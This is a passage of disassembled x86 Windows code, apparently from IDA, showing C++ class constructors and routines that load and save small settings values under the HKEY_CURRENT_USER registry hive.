		mov	eax, [ebp+var_14]


loc_426E48:				; CODE XREF: sub_426DB8+5Fj
		mov	ecx, [ebp+var_C]
		mov	large fs:0, ecx
		mov	esp, ebp
		pop	ebp
		retn	4
sub_426DB8	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset loc_432599
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 24h
		mov	[ebp-30h], ecx
		mov	ecx, [ebp-30h]
		call	sub_4281D0
		mov	dword ptr [ebp-4], 0
		mov	ecx, [ebp-30h]
		add	ecx, 10h
		call	sub_4283A0
		mov	ecx, [ebp-30h]
		add	ecx, 20h
		call	sub_4283A0
		push	0
		push	0
		push	0
		push	0
		lea	ecx, [ebp-1Ch]
		call	sub_428320
		mov	ecx, [ebp-30h]
		add	ecx, 10h
		mov	edx, [eax]
		mov	[ecx], edx
		mov	edx, [eax+4]
		mov	[ecx+4], edx
		mov	edx, [eax+8]
		mov	[ecx+8], edx
		mov	eax, [eax+0Ch]
		mov	[ecx+0Ch], eax
		push	0
		push	0
		push	0
		push	0
		lea	ecx, [ebp-2Ch]
		call	sub_428320
		mov	ecx, [ebp-30h]
		add	ecx, 20h
		mov	edx, [eax]
		mov	[ecx], edx
		mov	edx, [eax+4]
		mov	[ecx+4], edx
		mov	edx, [eax+8]
		mov	[ecx+8], edx
		mov	eax, [eax+0Ch]
		mov	[ecx+0Ch], eax
		push	offset dword_439CD4
		mov	ecx, [ebp-30h]
		add	ecx, 8
		call	sub_43179C
		mov	ecx, [ebp-30h]
		mov	dword ptr [ecx], 80000001h
		mov	edx, [ebp-30h]
		mov	dword ptr [edx+30h], 0
		mov	eax, [ebp-30h]
		mov	dword ptr [eax+34h], 0
		mov	dword ptr [ebp-4], 0FFFFFFFFh
		mov	eax, [ebp-30h]
		mov	ecx, [ebp-0Ch]
		mov	large fs:0, ecx
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset loc_4325C7
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 3Ch
		push	esi
		mov	[ebp-38h], ecx
		mov	dword ptr [ebp-4], 0
		mov	ecx, [ebp-38h]
		call	sub_4281D0
		mov	byte ptr [ebp-4], 1
		mov	ecx, [ebp-38h]
		add	ecx, 10h
		call	sub_4283A0
		mov	ecx, [ebp-38h]
		add	ecx, 20h
		call	sub_4283A0
		push	0
		push	0
		push	0
		push	0
		lea	ecx, [ebp-1Ch]
		call	sub_428320
		mov	ecx, [ebp-38h]
		add	ecx, 10h
		mov	edx, [eax]
		mov	[ecx], edx
		mov	edx, [eax+4]
		mov	[ecx+4], edx
		mov	edx, [eax+8]
		mov	[ecx+8], edx
		mov	eax, [eax+0Ch]
		mov	[ecx+0Ch], eax
		mov	ecx, [ebp-38h]
		add	ecx, 20h
		mov	edx, [ebp+0Ch]
		mov	[ecx], edx
		mov	eax, [ebp+10h]
		mov	[ecx+4], eax
		mov	edx, [ebp+14h]
		mov	[ecx+8], edx
		mov	eax, [ebp+18h]
		mov	[ecx+0Ch], eax
		mov	ecx, [ebp-38h]
		mov	edx, [ebp+1Ch]
		mov	[ecx+34h], edx
		mov	eax, [ebp-38h]
		mov	ecx, [ebp+20h]
		mov	[eax], ecx
		mov	edx, [ebp-38h]
		mov	dword ptr [edx+30h], 0
		push	offset asc_437554 ; "\\"
		lea	ecx, [ebp+8]
		call	sub_4317F6
		push	5Ch
		lea	ecx, [ebp+8]
		call	sub_4317C6
		push	eax
		lea	eax, [ebp-20h]
		push	eax
		lea	ecx, [ebp+8]
		call	sub_4317C0
		mov	[ebp-3Ch], eax
		mov	ecx, [ebp-3Ch]
		mov	[ebp-40h], ecx
		mov	byte ptr [ebp-4], 2
		mov	edx, [ebp-40h]
		push	edx
		mov	ecx, [ebp-38h]
		add	ecx, 0Ch
		call	sub_4317A8
		mov	byte ptr [ebp-4], 1
		lea	ecx, [ebp-20h]
		call	sub_4317A2
		push	offset asc_437558 ; "\\"
		mov	ecx, [ebp-38h]
		add	ecx, 0Ch
		call	sub_4317F0
		lea	ecx, [ebp+8]
		call	sub_428280
		mov	esi, eax
		push	5Ch
		lea	ecx, [ebp+8]
		call	sub_4317C6
		sub	esi, eax
		push	esi
		lea	eax, [ebp-24h]
		push	eax
		lea	ecx, [ebp+8]
		call	sub_4317EA
		mov	[ebp-44h], eax
		mov	ecx, [ebp-44h]
		mov	[ebp-48h], ecx
		mov	byte ptr [ebp-4], 3
		mov	edx, [ebp-48h]
		push	edx
		mov	ecx, [ebp-38h]
		add	ecx, 8
		call	sub_4317A8
		mov	byte ptr [ebp-4], 1
		lea	ecx, [ebp-24h]
		call	sub_4317A2
		push	offset asc_43755C ; "\\"
		mov	ecx, [ebp-38h]
		add	ecx, 8
		call	sub_4317F6
		push	offset asc_437560 ; "\\"
		mov	ecx, [ebp-38h]
		add	ecx, 8
		call	sub_4317F0
		lea	eax, [ebp-34h]
		push	eax
		mov	ecx, [ebp-38h]
		call	sub_4270ED
		mov	dword ptr [ebp-4], 0FFFFFFFFh
		lea	ecx, [ebp+8]
		call	sub_4317A2
		mov	eax, [ebp-38h]
		mov	ecx, [ebp-0Ch]
		mov	large fs:0, ecx
		pop	esi
		mov	esp, ebp
		pop	ebp
		retn	1Ch
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ecx
		mov	[ebp-4], ecx
		mov	ecx, [ebp-4]
		call	sub_428230
		mov	esp, ebp
		pop	ebp
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4270ED	proc near		; CODE XREF: TEUm:004270B2p
					; TEUm:00427342p

var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= byte ptr -20h
var_10		= dword	ptr -10h
var_C		= byte ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 2Ch
		mov	[ebp+var_2C], ecx
		mov	eax, [ebp+var_2C]
		add	eax, 4
		push	eax
		push	20019h
		push	0
		mov	ecx, [ebp+var_2C]
		add	ecx, 0Ch
		call	sub_4226A0
		push	eax
		mov	ecx, [ebp+var_2C]
		mov	edx, [ecx]
		push	edx
		call	dword_433004	; RegOpenKeyExA
		test	eax, eax
		jnz	loc_427248
		mov	[ebp+var_8], 0
		lea	eax, [ebp+var_8]
		push	eax
		push	0
		lea	ecx, [ebp+var_C]
		push	ecx
		push	0
		mov	ecx, [ebp+var_2C]
		add	ecx, 8
		call	sub_4226A0
		push	eax
		mov	edx, [ebp+var_2C]
		mov	eax, [edx+4]
		push	eax
		call	dword_433010	; RegQueryValueExA
		mov	ecx, [ebp+var_8]
		push	ecx
		call	sub_431784
		add	esp, 4
		mov	[ebp+var_10], eax
		mov	edx, [ebp+var_10]
		mov	[ebp+var_4], edx
		lea	eax, [ebp+var_8]
		push	eax
		mov	ecx, [ebp+var_4]
		push	ecx
		lea	edx, [ebp+var_C]
		push	edx
		push	0
		mov	ecx, [ebp+var_2C]
		add	ecx, 8
		call	sub_4226A0
		push	eax
		mov	eax, [ebp+var_2C]
		mov	ecx, [eax+4]
		push	ecx
		call	dword_433010	; RegQueryValueExA
		test	eax, eax
		jnz	short loc_427205
		mov	edx, [ebp+var_4]
		push	edx
		lea	ecx, [ebp+var_20]
		call	sub_428360
		mov	ecx, [ebp+var_2C]
		add	ecx, 10h
		mov	edx, [eax]
		mov	[ecx], edx
		mov	edx, [eax+4]
		mov	[ecx+4], edx
		mov	edx, [eax+8]
		mov	[ecx+8], edx
		mov	eax, [eax+0Ch]
		mov	[ecx+0Ch], eax
		mov	ecx, [ebp+var_4]
		mov	[ebp+var_24], ecx
		mov	edx, [ebp+var_24]
		push	edx
		call	sub_43177E
		add	esp, 4
		mov	eax, [ebp+var_2C]
		mov	dword ptr [eax+30h], 1
		mov	ecx, [ebp+var_2C]
		mov	edx, [ecx+4]
		push	edx
		call	dword_433000	; RegCloseKey
		mov	eax, [ebp+var_2C]
		add	eax, 10h
		mov	ecx, [ebp+arg_0]
		mov	edx, [eax]
		mov	[ecx], edx
		mov	edx, [eax+4]
		mov	[ecx+4], edx
		mov	edx, [eax+8]
		mov	[ecx+8], edx
		mov	eax, [eax+0Ch]
		mov	[ecx+0Ch], eax
		mov	eax, [ebp+arg_0]
		jmp	short loc_42726A
; ---------------------------------------------------------------------------


loc_427205:				; CODE XREF: sub_4270ED+A1j
		mov	ecx, [ebp+var_4]
		mov	[ebp+var_28], ecx
		mov	edx, [ebp+var_28]
		push	edx
		call	sub_43177E
		add	esp, 4
		mov	eax, [ebp+var_2C]
		mov	ecx, [eax+4]
		push	ecx
		call	dword_433000	; RegCloseKey
		mov	edx, [ebp+var_2C]
		add	edx, 20h
		mov	eax, [ebp+arg_0]
		mov	ecx, [edx]
		mov	[eax], ecx
		mov	ecx, [edx+4]
		mov	[eax+4], ecx
		mov	ecx, [edx+8]
		mov	[eax+8], ecx
		mov	edx, [edx+0Ch]
		mov	[eax+0Ch], edx
		mov	eax, [ebp+arg_0]
		jmp	short loc_42726A
; ---------------------------------------------------------------------------


loc_427248:				; CODE XREF: sub_4270ED+31j
		mov	eax, [ebp+var_2C]
		add	eax, 20h
		mov	ecx, [ebp+arg_0]
		mov	edx, [eax]
		mov	[ecx], edx
		mov	edx, [eax+4]
		mov	[ecx+4], edx
		mov	edx, [eax+8]
		mov	[ecx+8], edx
		mov	eax, [eax+0Ch]
		mov	[ecx+0Ch], eax
		mov	eax, [ebp+arg_0]


loc_42726A:				; CODE XREF: sub_4270ED+116j
					; sub_4270ED+159j
		mov	esp, ebp
		pop	ebp
		retn	4
sub_4270ED	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_427270	proc near		; CODE XREF: TEUm:004273B1p

var_8		= dword	ptr -8
var_4		= byte ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 8
		mov	[ebp+var_8], ecx
		lea	eax, [ebp+var_4]
		push	eax
		mov	ecx, [ebp+var_8]
		add	ecx, 4
		push	ecx
		push	0
		push	20006h
		push	0
		push	offset dword_439CD8
		push	0
		mov	ecx, [ebp+var_8]
		add	ecx, 0Ch
		call	sub_4226A0
		push	eax
		mov	edx, [ebp+var_8]
		mov	eax, [edx]
		push	eax
		call	dword_43300C	; RegCreateKeyExA
		test	eax, eax
		jz	short loc_4272B2
		jmp	short loc_4272F8
; ---------------------------------------------------------------------------


loc_4272B2:				; CODE XREF: sub_427270+3Ej
		push	10h
		mov	ecx, [ebp+var_8]
		add	ecx, 10h
		call	sub_4283A0
		push	eax
		push	3
		push	0
		mov	ecx, [ebp+var_8]
		add	ecx, 8
		call	sub_4226A0
		push	eax
		mov	ecx, [ebp+var_8]
		mov	edx, [ecx+4]
		push	edx
		call	dword_433008	; RegSetValueExA
		test	eax, eax
		jnz	short loc_4272EB
		mov	eax, [ebp+var_8]
		mov	dword ptr [eax+30h], 1


loc_4272EB:				; CODE XREF: sub_427270+6Fj
		mov	ecx, [ebp+var_8]
		mov	edx, [ecx+4]
		push	edx
		call	dword_433000	; RegCloseKey


loc_4272F8:				; CODE XREF: sub_427270+40j
		mov	esp, ebp
		pop	ebp
		retn
sub_427270	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		mov	[ebp-14h], ecx
		mov	eax, [ebp-14h]
		cmp	dword ptr [eax+30h], 0
		jz	short loc_42733B
		mov	ecx, [ebp-14h]
		cmp	dword ptr [ecx+34h], 0
		jnz	short loc_42733B
		mov	edx, [ebp-14h]
		add	edx, 10h
		mov	eax, [ebp+8]
		mov	ecx, [edx]
		mov	[eax], ecx
		mov	ecx, [edx+4]
		mov	[eax+4], ecx
		mov	ecx, [edx+8]
		mov	[eax+8], ecx
		mov	edx, [edx+0Ch]
		mov	[eax+0Ch], edx
		mov	eax, [ebp+8]
		jmp	short loc_427363
; ---------------------------------------------------------------------------


loc_42733B:				; CODE XREF: TEUm:0042730Cj
					; TEUm:00427315j
		lea	eax, [ebp-10h]
		push	eax
		mov	ecx, [ebp-14h]
		call	sub_4270ED
		mov	ecx, [ebp+8]
		mov	edx, [eax]
		mov	[ecx], edx
		mov	edx, [eax+4]
		mov	[ecx+4], edx
		mov	edx, [eax+8]
		mov	[ecx+8], edx
		mov	eax, [eax+0Ch]
		mov	[ecx+0Ch], eax
		mov	eax, [ebp+8]


loc_427363:				; CODE XREF: TEUm:00427339j
		mov	esp, ebp
		pop	ebp
		retn	4
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ecx
		mov	[ebp-4], ecx
		mov	eax, [ebp-4]
		add	eax, 10h
		push	eax
		lea	ecx, [ebp+8]
		call	sub_428380
		test	eax, eax
		jz	short loc_427391
		mov	ecx, [ebp-4]
		cmp	dword ptr [ecx+34h], 0
		jnz	short loc_427391
		mov	eax, [ebp-4]
		jmp	short loc_4273B9
; ---------------------------------------------------------------------------


loc_427391:				; CODE XREF: TEUm:00427381j
					; TEUm:0042738Aj
		mov	edx, [ebp-4]
		add	edx, 10h
		mov	eax, [ebp+8]
		mov	[edx], eax
		mov	ecx, [ebp+0Ch]
		mov	[edx+4], ecx
		mov	eax, [ebp+10h]
		mov	[edx+8], eax
		mov	ecx, [ebp+14h]
		mov	[edx+0Ch], ecx
		mov	ecx, [ebp-4]
		call	sub_427270
		mov	eax, [ebp-4]


loc_4273B9:				; CODE XREF: TEUm:0042738Fj
		mov	esp, ebp
		pop	ebp
		retn	10h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset loc_4325DA
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 14h
		mov	[ebp-20h], ecx
		mov	ecx, [ebp-20h]
		call	sub_4281D0
		mov	dword ptr [ebp-4], 0
		mov	ecx, [ebp-20h]
		add	ecx, 10h
		call	sub_4283A0
		mov	ecx, [ebp-20h]
		add	ecx, 18h
		call	sub_4283A0
		push	0
		push	0
		lea	ecx, [ebp-14h]
		call	sub_4283B0
		mov	ecx, [eax]
		mov	edx, [eax+4]
		mov	eax, [ebp-20h]
		mov	[eax+10h], ecx
		mov	[eax+14h], edx
		push	0
		push	0
		lea	ecx, [ebp-1Ch]
		call	sub_4283B0
		mov	ecx, [eax]
		mov	edx, [eax+4]
		mov	eax, [ebp-20h]
		mov	[eax+18h], ecx
		mov	[eax+1Ch], edx
		push	offset dword_439CDC
		mov	ecx, [ebp-20h]
		add	ecx, 8
		call	sub_43179C
		mov	ecx, [ebp-20h]
		mov	dword ptr [ecx], 80000001h
		mov	edx, [ebp-20h]
		mov	dword ptr [edx+20h], 0
		mov	eax, [ebp-20h]
		mov	dword ptr [eax+24h], 0
		mov	dword ptr [ebp-4], 0FFFFFFFFh
		mov	eax, [ebp-20h]
		mov	ecx, [ebp-0Ch]
		mov	large fs:0, ecx
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset loc_432608
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 2Ch
		push	esi
		mov	[ebp-28h], ecx
		mov	dword ptr [ebp-4], 0
		mov	ecx, [ebp-28h]
		call	sub_4281D0
		mov	byte ptr [ebp-4], 1
		mov	ecx, [ebp-28h]
		add	ecx, 10h
		call	sub_4283A0
		mov	ecx, [ebp-28h]
		add	ecx, 18h
		call	sub_4283A0
		push	0
		push	0
		lea	ecx, [ebp-14h]
		call	sub_4283B0
		mov	ecx, [eax]
		mov	edx, [eax+4]
		mov	eax, [ebp-28h]
		mov	[eax+10h], ecx
		mov	[eax+14h], edx
		mov	ecx, [ebp-28h]
		mov	edx, [ebp+0Ch]
		mov	[ecx+18h], edx
		mov	eax, [ebp+10h]
		mov	[ecx+1Ch], eax
		mov	ecx, [ebp-28h]
		mov	edx, [ebp+14h]
		mov	[ecx+24h], edx
		mov	eax, [ebp-28h]
		mov	ecx, [ebp+18h]
		mov	[eax], ecx
		mov	edx, [ebp-28h]
		mov	dword ptr [edx+20h], 0
		push	offset asc_437564 ; "\\"
		lea	ecx, [ebp+8]
		call	sub_4317F6
		push	5Ch
		lea	ecx, [ebp+8]
		call	sub_4317C6
		push	eax
		lea	eax, [ebp-18h]
		push	eax
		lea	ecx, [ebp+8]
		call	sub_4317C0
		mov	[ebp-2Ch], eax
		mov	ecx, [ebp-2Ch]
		mov	[ebp-30h], ecx
		mov	byte ptr [ebp-4], 2
		mov	edx, [ebp-30h]
		push	edx
		mov	ecx, [ebp-28h]
		add	ecx, 0Ch
		call	sub_4317A8
		mov	byte ptr [ebp-4], 1
		lea	ecx, [ebp-18h]
		call	sub_4317A2
		push	offset asc_437568 ; "\\"
		mov	ecx, [ebp-28h]
		add	ecx, 0Ch
		call	sub_4317F0
		lea	ecx, [ebp+8]
		call	sub_428280
		mov	esi, eax
		push	5Ch
		lea	ecx, [ebp+8]
		call	sub_4317C6
		sub	esi, eax
		push	esi
		lea	eax, [ebp-1Ch]
		push	eax
		lea	ecx, [ebp+8]
		call	sub_4317EA
		mov	[ebp-34h], eax
		mov	ecx, [ebp-34h]
		mov	[ebp-38h], ecx
		mov	byte ptr [ebp-4], 3
		mov	edx, [ebp-38h]
		push	edx
		mov	ecx, [ebp-28h]
		add	ecx, 8
		call	sub_4317A8
		mov	byte ptr [ebp-4], 1
		lea	ecx, [ebp-1Ch]
		call	sub_4317A2
		push	offset asc_43756C ; "\\"
		mov	ecx, [ebp-28h]
		add	ecx, 8
		call	sub_4317F6
		push	offset asc_437570 ; "\\"
		mov	ecx, [ebp-28h]
		add	ecx, 8
		call	sub_4317F0
		lea	eax, [ebp-24h]
		push	eax
		mov	ecx, [ebp-28h]
		call	sub_427610
		mov	dword ptr [ebp-4], 0FFFFFFFFh
		lea	ecx, [ebp+8]
		call	sub_4317A2
		mov	eax, [ebp-28h]
		mov	ecx, [ebp-0Ch]
		mov	large fs:0, ecx
		pop	esi
		mov	esp, ebp
		pop	ebp
		retn	14h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ecx
		mov	[ebp-4], ecx
		mov	ecx, [ebp-4]
		call	sub_428230
		mov	esp, ebp
		pop	ebp
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_427610	proc near		; CODE XREF: TEUm:004275D5p
					; TEUm:00427820p

var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= byte ptr -18h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= byte ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 24h
		mov	[ebp+var_24], ecx
		mov	eax, [ebp+var_24]
		add	eax, 4
		push	eax
		push	20019h
		push	0
		mov	ecx, [ebp+var_24]
		add	ecx, 0Ch
		call	sub_4226A0
		push	eax
		mov	ecx, [ebp+var_24]
		mov	edx, [ecx]
		push	edx
		call	dword_433004	; RegOpenKeyExA
		test	eax, eax
		jnz	loc_427747
		mov	[ebp+var_4], 0
		lea	eax, [ebp+var_4]
		push	eax
		push	0
		lea	ecx, [ebp+var_8]
		push	ecx
		push	0
		mov	ecx, [ebp+var_24]
		add	ecx, 8
		call	sub_4226A0
		push	eax
		mov	edx, [ebp+var_24]
		mov	eax, [edx+4]
		push	eax
		call	dword_433010	; RegQueryValueExA
		mov	ecx, [ebp+var_4]
		push	ecx
		call	sub_431784
		add	esp, 4
		mov	[ebp+var_10], eax
		mov	edx, [ebp+var_10]
		mov	[ebp+var_C], edx
		lea	eax, [ebp+var_4]
		push	eax
		mov	ecx, [ebp+var_C]
		push	ecx
		lea	edx, [ebp+var_8]
		push	edx
		push	0
		mov	ecx, [ebp+var_24]
		add	ecx, 8
		call	sub_4226A0
		push	eax
		mov	eax, [ebp+var_24]
		mov	ecx, [eax+4]
		push	ecx
		call	dword_433010	; RegQueryValueExA
		test	eax, eax
		jnz	short loc_427712
		mov	edx, [ebp+var_C]
		mov	eax, [edx+4]
		push	eax
		mov	ecx, [edx]
		push	ecx
		lea	ecx, [ebp+var_18]
		call	sub_4283E0
		mov	edx, [eax]
		mov	eax, [eax+4]
		mov	ecx, [ebp+var_24]
		mov	[ecx+10h], edx
		mov	[ecx+14h], eax
		mov	edx, [ebp+var_C]
		mov	[ebp+var_1C], edx
		mov	eax, [ebp+var_1C]
		push	eax
		call	sub_43177E
		add	esp, 4
		mov	ecx, [ebp+var_24]
		mov	dword ptr [ecx+20h], 1
		mov	edx, [ebp+var_24]
		mov	eax, [edx+4]
		push	eax
		call	dword_433000	; RegCloseKey
		mov	ecx, [ebp+var_24]
		mov	edx, [ecx+10h]
		mov	eax, [ecx+14h]
		mov	ecx, [ebp+arg_0]
		mov	[ecx], edx
		mov	[ecx+4], eax
		mov	eax, [ebp+arg_0]
		jmp	short loc_42775B
; ---------------------------------------------------------------------------


loc_427712:				; CODE XREF: sub_427610+A1j
		mov	edx, [ebp+var_C]
		mov	[ebp+var_20], edx
		mov	eax, [ebp+var_20]
		push	eax
		call	sub_43177E
		add	esp, 4
		mov	ecx, [ebp+var_24]
		mov	edx, [ecx+4]
		push	edx
		call	dword_433000	; RegCloseKey
		mov	eax, [ebp+var_24]
		mov	ecx, [eax+18h]
		mov	edx, [eax+1Ch]
		mov	eax, [ebp+arg_0]
		mov	[eax], ecx
		mov	[eax+4], edx
		mov	eax, [ebp+arg_0]
		jmp	short loc_42775B
; ---------------------------------------------------------------------------


loc_427747:				; CODE XREF: sub_427610+31j
		mov	ecx, [ebp+var_24]
		mov	edx, [ecx+18h]
		mov	eax, [ecx+1Ch]
		mov	ecx, [ebp+arg_0]
		mov	[ecx], edx
		mov	[ecx+4], eax
		mov	eax, [ebp+arg_0]


loc_42775B:				; CODE XREF: sub_427610+100j
					; sub_427610+135j
		mov	esp, ebp
		pop	ebp
		retn	4
sub_427610	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_427761	proc near		; CODE XREF: TEUm:00427887p

var_8		= dword	ptr -8
var_4		= byte ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 8
		mov	[ebp+var_8], ecx
		lea	eax, [ebp+var_4]
		push	eax
		mov	ecx, [ebp+var_8]
		add	ecx, 4
		push	ecx
		push	0
		push	20006h
		push	0
		push	offset dword_439CE0
		push	0
		mov	ecx, [ebp+var_8]
		add	ecx, 0Ch
		call	sub_4226A0
		push	eax
		mov	edx, [ebp+var_8]
		mov	eax, [edx]
		push	eax
		call	dword_43300C	; RegCreateKeyExA
		test	eax, eax
		jz	short loc_4277A3
		jmp	short loc_4277E4
; ---------------------------------------------------------------------------


loc_4277A3:				; CODE XREF: sub_427761+3Ej
		push	8
		mov	ecx, [ebp+var_8]
		add	ecx, 10h
		push	ecx
		push	3
		push	0
		mov	ecx, [ebp+var_8]
		add	ecx, 8
		call	sub_4226A0
		push	eax
		mov	edx, [ebp+var_8]
		mov	eax, [edx+4]
		push	eax
		call	dword_433008	; RegSetValueExA
		test	eax, eax
		jnz	short loc_4277D7
		mov	ecx, [ebp+var_8]
		mov	dword ptr [ecx+20h], 1


loc_4277D7:				; CODE XREF: sub_427761+6Aj
		mov	edx, [ebp+var_8]
		mov	eax, [edx+4]
		push	eax
		call	dword_433000	; RegCloseKey


loc_4277E4:				; CODE XREF: sub_427761+40j
		mov	esp, ebp
		pop	ebp
		retn
sub_427761	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		mov	[ebp-0Ch], ecx
		mov	eax, [ebp-0Ch]
		cmp	dword ptr [eax+20h], 0
		jz	short loc_427819
		mov	ecx, [ebp-0Ch]
		cmp	dword ptr [ecx+24h], 0
		jnz	short loc_427819
		mov	edx, [ebp-0Ch]
		mov	eax, [edx+10h]
		mov	ecx, [edx+14h]
		mov	edx, [ebp+8]
		mov	[edx], eax
		mov	[edx+4], ecx
		mov	eax, [ebp+8]
		jmp	short loc_427835
; ---------------------------------------------------------------------------


loc_427819:				; CODE XREF: TEUm:004277F8j
					; TEUm:00427801j
		lea	eax, [ebp-8]
		push	eax
		mov	ecx, [ebp-0Ch]
		call	sub_427610
		mov	ecx, [eax]
		mov	edx, [eax+4]
		mov	eax, [ebp+8]
		mov	[eax], ecx
		mov	[eax+4], edx
		mov	eax, [ebp+8]


loc_427835:				; CODE XREF: TEUm:00427817j
		mov	esp, ebp
		pop	ebp
		retn	4
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		mov	[ebp-0Ch], ecx
		mov	eax, [ebp-0Ch]
		mov	ecx, [eax+10h]
		mov	edx, [eax+14h]
		mov	[ebp-8], ecx
		mov	[ebp-4], edx
		mov	eax, [ebp-4]
		push	eax
		mov	ecx, [ebp-8]
		push	ecx
		lea	ecx, [ebp+8]
		call	sub_428400
		test	eax, eax
		jz	short loc_427875
		mov	edx, [ebp-0Ch]
		cmp	dword ptr [edx+24h], 0
		jnz	short loc_427875
		mov	eax, [ebp-0Ch]
		jmp	short loc_42788F
; ---------------------------------------------------------------------------


loc_427875:				; CODE XREF: TEUm:00427865j
					; TEUm:0042786Ej
		mov	eax, [ebp-0Ch]
		mov	ecx, [ebp+8]
		mov	[eax+10h], ecx
		mov	edx, [ebp+0Ch]
		mov	[eax+14h], edx
		mov	ecx, [ebp-0Ch]
		call	sub_427761
		mov	eax, [ebp-0Ch]


loc_42788F:				; CODE XREF: TEUm:00427873j
		mov	esp, ebp
		pop	ebp
		retn	8
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset loc_432635
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 0Ch
		mov	[ebp-18h], ecx
		mov	ecx, [ebp-18h]
		call	sub_428440
		mov	dword ptr [ebp-4], 0
		lea	eax, [ebp-10h]
		push	eax
		mov	ecx, [ebp-18h]
		add	ecx, 28h
		call	dword_43316C
		mov	byte ptr [ebp-4], 1
		lea	ecx, [ebp-14h]
		push	ecx
		mov	ecx, [ebp-18h]
		add	ecx, 38h
		call	dword_43316C
		mov	byte ptr [ebp-4], 2
		push	offset dword_439CE4
		mov	ecx, [ebp-18h]
		add	ecx, 28h
		call	dword_433194
		push	offset dword_439CE8
		mov	ecx, [ebp-18h]
		add	ecx, 38h
		call	dword_433194
		push	offset dword_439CEC
		mov	ecx, [ebp-18h]
		add	ecx, 8
		call	dword_433194
		mov	edx, [ebp-18h]
		mov	dword ptr [edx], 80000001h
		mov	eax, [ebp-18h]
		mov	dword ptr [eax+48h], 0
		mov	ecx, [ebp-18h]
		mov	dword ptr [ecx+4Ch], 0
		mov	dword ptr [ebp-4], 0FFFFFFFFh
		mov	eax, [ebp-18h]
		mov	ecx, [ebp-0Ch]
		mov	large fs:0, ecx
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset loc_43268A
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 50h
		mov	[ebp-4Ch], ecx
		mov	dword ptr [ebp-4], 1
		mov	ecx, [ebp-4Ch]
		call	sub_428440
		mov	byte ptr [ebp-4], 2
		lea	eax, [ebp-14h]
		push	eax
		mov	ecx, [ebp-4Ch]
		add	ecx, 28h
		call	dword_43316C
		mov	byte ptr [ebp-4], 3
		lea	ecx, [ebp-18h]
		push	ecx
		mov	ecx, [ebp-4Ch]
		add	ecx, 38h
		call	dword_43316C
		mov	byte ptr [ebp-4], 4
		push	offset dword_439CF0
		mov	ecx, [ebp-4Ch]
		add	ecx, 28h
		call	dword_433194
		lea	edx, [ebp+18h]
		push	edx
		mov	ecx, [ebp-4Ch]
		add	ecx, 38h
		call	dword_43317C
		mov	eax, [ebp-4Ch]
		mov	ecx, [ebp+28h]
		mov	[eax+4Ch], ecx
		mov	edx, [ebp-4Ch]
		mov	eax, [ebp+2Ch]
		mov	[edx], eax
		mov	ecx, [ebp-4Ch]
		mov	dword ptr [ecx+48h], 0
		mov	edx, dword_433178
		mov	eax, [edx]
		push	eax
		push	5Ch
		lea	ecx, [ebp+8]
		call	dword_433174
		mov	[ebp-10h], eax
		mov	ecx, [ebp-10h]
		push	ecx
		push	0
		lea	edx, [ebp-28h]
		push	edx
		lea	ecx, [ebp+8]
		call	dword_433170
		mov	[ebp-50h], eax
		mov	eax, [ebp-50h]
		mov	[ebp-54h], eax
		mov	byte ptr [ebp-4], 5
		mov	ecx, [ebp-54h]
		push	ecx
		mov	ecx, [ebp-4Ch]
		add	ecx, 18h
		call	dword_43317C
		mov	byte ptr [ebp-4], 4
		lea	ecx, [ebp-28h]
		call	dword_433168
		mov	edx, dword_433178
		mov	eax, [edx]
		push	eax
		mov	ecx, [ebp-10h]
		add	ecx, 1
		push	ecx
		lea	edx, [ebp-38h]
		push	edx
		lea	ecx, [ebp+8]
		call	dword_433170
		mov	[ebp-58h], eax
		mov	eax, [ebp-58h]
		mov	[ebp-5Ch], eax
		mov	byte ptr [ebp-4], 6
		mov	ecx, [ebp-5Ch]
		push	ecx
		mov	ecx, [ebp-4Ch]
		add	ecx, 8
		call	dword_43317C
		mov	byte ptr [ebp-4], 4
		lea	ecx, [ebp-38h]
		call	dword_433168
		lea	edx, [ebp-48h]
		push	edx
		mov	ecx, [ebp-4Ch]
		call	sub_427B23
		lea	ecx, [ebp-48h]
		call	dword_433168
